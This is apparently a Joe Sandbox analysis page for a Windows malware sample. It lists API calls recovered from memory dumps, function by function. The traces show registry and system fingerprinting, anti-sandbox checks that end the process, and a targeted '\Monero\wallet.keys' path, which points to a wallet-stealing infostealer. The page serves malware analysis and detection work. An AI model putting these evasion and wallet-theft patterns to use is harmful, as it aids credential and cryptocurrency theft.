Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 3e62d85ea4c577efd95e44688852078e03f829748c0d23a4bf0524f145e689e1
Instruction ID: 5ddaf3453cc94e4395f953cbed72c47bc5faf556b92929c8bbca040667476e36
Opcode Fuzzy Hash: 3e62d85ea4c577efd95e44688852078e03f829748c0d23a4bf0524f145e689e1
Instruction Fuzzy Hash: 463108B4A1121CABDB20DF54DC85BDCB7B4FB48708F1081E9F609A7281C7706AD58F99

Function 002983DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00298426
wsprintfA.USER32 ref: 00298459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0029847B
RegCloseKey.ADVAPI32(00000000), ref: 0029848C
RegCloseKey.ADVAPI32(00000000), ref: 00298499

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

RegQueryValueExA.KERNEL32(00000000,00E4D908,00000000,000F003F,?,00000400), ref: 002984EC
lstrlen.KERNEL32(?), ref: 00298501
RegQueryValueExA.KERNEL32(00000000,00E4DAA0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,002A0B34), ref: 00298599
RegCloseKey.KERNEL32(00000000), ref: 00298608
RegCloseKey.ADVAPI32(00000000), ref: 0029861A

Strings

%s\%s, xrefs: 0029844D

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: cda0d515be0a5301d5d4d4ee68339d5b29d7df51f160204335a7934c0d373495
Instruction ID: b889e4b89c7749540a892adc54fb280d060cc6e559c728e9653fac335c299fbf
Opcode Fuzzy Hash: cda0d515be0a5301d5d4d4ee68339d5b29d7df51f160204335a7934c0d373495
Instruction Fuzzy Hash: F721077191022CABDB64DF54DC85FE9B3B8FB48704F00C5A8E609A6140DF71AA95CFE4

Function 00297690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 002976A4
RtlAllocateHeap.NTDLL(00000000), ref: 002976AB
RegOpenKeyExA.KERNEL32(80000002,00E3BC40,00000000,00020119,00000000), ref: 002976DD
RegQueryValueExA.KERNEL32(00000000,00E4D920,00000000,00000000,?,000000FF), ref: 002976FE
RegCloseKey.ADVAPI32(00000000), ref: 00297708

Strings

Windows 11, xrefs: 002976BD

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: dc79f60bbb9658c2ab22cb98bdc883f1f7862eb203ab159598aab1da1a536859
Instruction ID: 74ea6a0daf46c293be703a1dbb545d595c5270b3bbe0e1857b6b9b6472c093cf
Opcode Fuzzy Hash: dc79f60bbb9658c2ab22cb98bdc883f1f7862eb203ab159598aab1da1a536859
Instruction Fuzzy Hash: EA0162B5A14209BBEB00EBE4DC4DFBEB7BCEB48709F104064FA04D7290D67099248B65

Function 00297720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00297734
RtlAllocateHeap.NTDLL(00000000), ref: 0029773B
RegOpenKeyExA.KERNEL32(80000002,00E3BC40,00000000,00020119,002976B9), ref: 0029775B
RegQueryValueExA.KERNEL32(002976B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0029777A
RegCloseKey.ADVAPI32(002976B9), ref: 00297784

Strings

CurrentBuildNumber, xrefs: 00297771

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: c850c14fa0fb459b4c89866f5a338dc558dd7732f507b66d4cdba3b7458cea84
Instruction ID: 30863fd5a684623930bcde754b4572cb72299ed65c1aeda742f7933f08f9487c
Opcode Fuzzy Hash: c850c14fa0fb459b4c89866f5a338dc558dd7732f507b66d4cdba3b7458cea84
Instruction Fuzzy Hash: 290167B5A5030CBBEB40DFE0DC49FBEB7B8EB44704F004155FA05A7281DA7095108F65

Function 002940B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 002940D5
RegOpenKeyExA.KERNEL32(80000001,00E4D0D8,00000000,00020119,?), ref: 002940F4
RegQueryValueExA.ADVAPI32(?,00E4DD70,00000000,00000000,00000000,000000FF), ref: 00294118
RegCloseKey.ADVAPI32(?), ref: 00294122
lstrcat.KERNEL32(?,00000000), ref: 00294147
lstrcat.KERNEL32(?,00E4DCE0), ref: 0029415B

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 551dad50824d2d98a46e88cdcae1fcafa7107d05fb9147a1f435523b82bc8525
Instruction ID: e5cf43ac5e927f79a677104f22cfc3f1812d964e90544565f07cd4b57785f7d7
Opcode Fuzzy Hash: 551dad50824d2d98a46e88cdcae1fcafa7107d05fb9147a1f435523b82bc8525
Instruction Fuzzy Hash: 724187B6D1010C6BDB14FBA0EC46FFE733DAB88304F444558B619961C1EA755BA88FE2

Function 002969F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00299860: GetProcAddress.KERNEL32(75900000,00E40720), ref: 002998A1
Part of subcall function 00299860: GetProcAddress.KERNEL32(75900000,00E406C0), ref: 002998BA
Part of subcall function 00299860: GetProcAddress.KERNEL32(75900000,00E40558), ref: 002998D2
Part of subcall function 00299860: GetProcAddress.KERNEL32(75900000,00E40798), ref: 002998EA
Part of subcall function 00299860: GetProcAddress.KERNEL32(75900000,00E40630), ref: 00299903
Part of subcall function 00299860: GetProcAddress.KERNEL32(75900000,00E48A60), ref: 0029991B
Part of subcall function 00299860: GetProcAddress.KERNEL32(75900000,00E36980), ref: 00299933
Part of subcall function 00299860: GetProcAddress.KERNEL32(75900000,00E36900), ref: 0029994C
Part of subcall function 00299860: GetProcAddress.KERNEL32(75900000,00E40570), ref: 00299964
Part of subcall function 00299860: GetProcAddress.KERNEL32(75900000,00E40648), ref: 0029997C
Part of subcall function 00299860: GetProcAddress.KERNEL32(75900000,00E40738), ref: 00299995
Part of subcall function 00299860: GetProcAddress.KERNEL32(75900000,00E405E8), ref: 002999AD
Part of subcall function 00299860: GetProcAddress.KERNEL32(75900000,00E36A20), ref: 002999C5
Part of subcall function 00299860: GetProcAddress.KERNEL32(75900000,00E40750), ref: 002999DE

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 002811D0: ExitProcess.KERNEL32 ref: 00281211

Part of subcall function 00281160: GetSystemInfo.KERNEL32(?), ref: 0028116A
Part of subcall function 00281160: ExitProcess.KERNEL32 ref: 0028117E

Part of subcall function 00281110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0028112B
Part of subcall function 00281110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00281132
Part of subcall function 00281110: ExitProcess.KERNEL32 ref: 00281143

Part of subcall function 00281220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0028123E
Part of subcall function 00281220: __aulldiv.LIBCMT ref: 00281258
Part of subcall function 00281220: __aulldiv.LIBCMT ref: 00281266
Part of subcall function 00281220: ExitProcess.KERNEL32 ref: 00281294

Part of subcall function 00296770: GetUserDefaultLangID.KERNEL32 ref: 00296774

Part of subcall function 00281190: ExitProcess.KERNEL32 ref: 002811C6

Part of subcall function 00297850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,002811B7), ref: 00297880
Part of subcall function 00297850: RtlAllocateHeap.NTDLL(00000000), ref: 00297887
Part of subcall function 00297850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0029789F

Part of subcall function 002978E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00297910
Part of subcall function 002978E0: RtlAllocateHeap.NTDLL(00000000), ref: 00297917
Part of subcall function 002978E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0029792F

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00E48BB0,?,002A110C,?,00000000,?,002A1110,?,00000000,002A0AEF), ref: 00296ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00296AE8
CloseHandle.KERNEL32(00000000), ref: 00296AF9
Sleep.KERNEL32(00001770), ref: 00296B04
CloseHandle.KERNEL32(?,00000000,?,00E48BB0,?,002A110C,?,00000000,?,002A1110,?,00000000,002A0AEF), ref: 00296B1A
ExitProcess.KERNEL32 ref: 00296B22

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 775d39ac5d57ef5e06629c501802d11629da340bc9b1eb0f866990be1c1e9c6a
Instruction ID: 4ac493c80f8794e4dfe0379a841dd39c99a27dce2495999b056a0d4f74fe1fb8
Opcode Fuzzy Hash: 775d39ac5d57ef5e06629c501802d11629da340bc9b1eb0f866990be1c1e9c6a
Instruction Fuzzy Hash: 8631C571931218AADF04FBE0DC5AAEE7778BF04744F104528F612A6192EF706925CFA6

Function 002899C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002899EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00289A11
LocalAlloc.KERNEL32(00000040,?), ref: 00289A31
ReadFile.KERNEL32(000000FF,?,00000000,0028148F,00000000), ref: 00289A5A
LocalFree.KERNEL32(0028148F), ref: 00289A90
CloseHandle.KERNEL32(000000FF), ref: 00289A9A

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 291ec3d458a6cf5391035b6a356d8520a5509d8c13d4ed24a3a8ddebc4f78d48
Instruction ID: 9fa3cbc8627077c07b0e43982ce08dc811d988f68e4ddb33bc9b582d222e97c0
Opcode Fuzzy Hash: 291ec3d458a6cf5391035b6a356d8520a5509d8c13d4ed24a3a8ddebc4f78d48
Instruction Fuzzy Hash: D9314BB8A1120AEFDB14DF94C885FAE77B8FF48305F108158E811A72D0C774A9A1CFA1

Function 00294780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00E4DCB0), ref: 002947DB

Part of subcall function 00298DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00298E0B

lstrcat.KERNEL32(?,00000000), ref: 00294801
lstrcat.KERNEL32(?,?), ref: 00294820
lstrcat.KERNEL32(?,?), ref: 00294834
lstrcat.KERNEL32(?,00E3AF28), ref: 00294847
lstrcat.KERNEL32(?,?), ref: 0029485B
lstrcat.KERNEL32(?,00E4D038), ref: 0029486F

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 00298D90: GetFileAttributesA.KERNEL32(00000000,?,00281B54,?,?,002A564C,?,?,002A0E1F), ref: 00298D9F

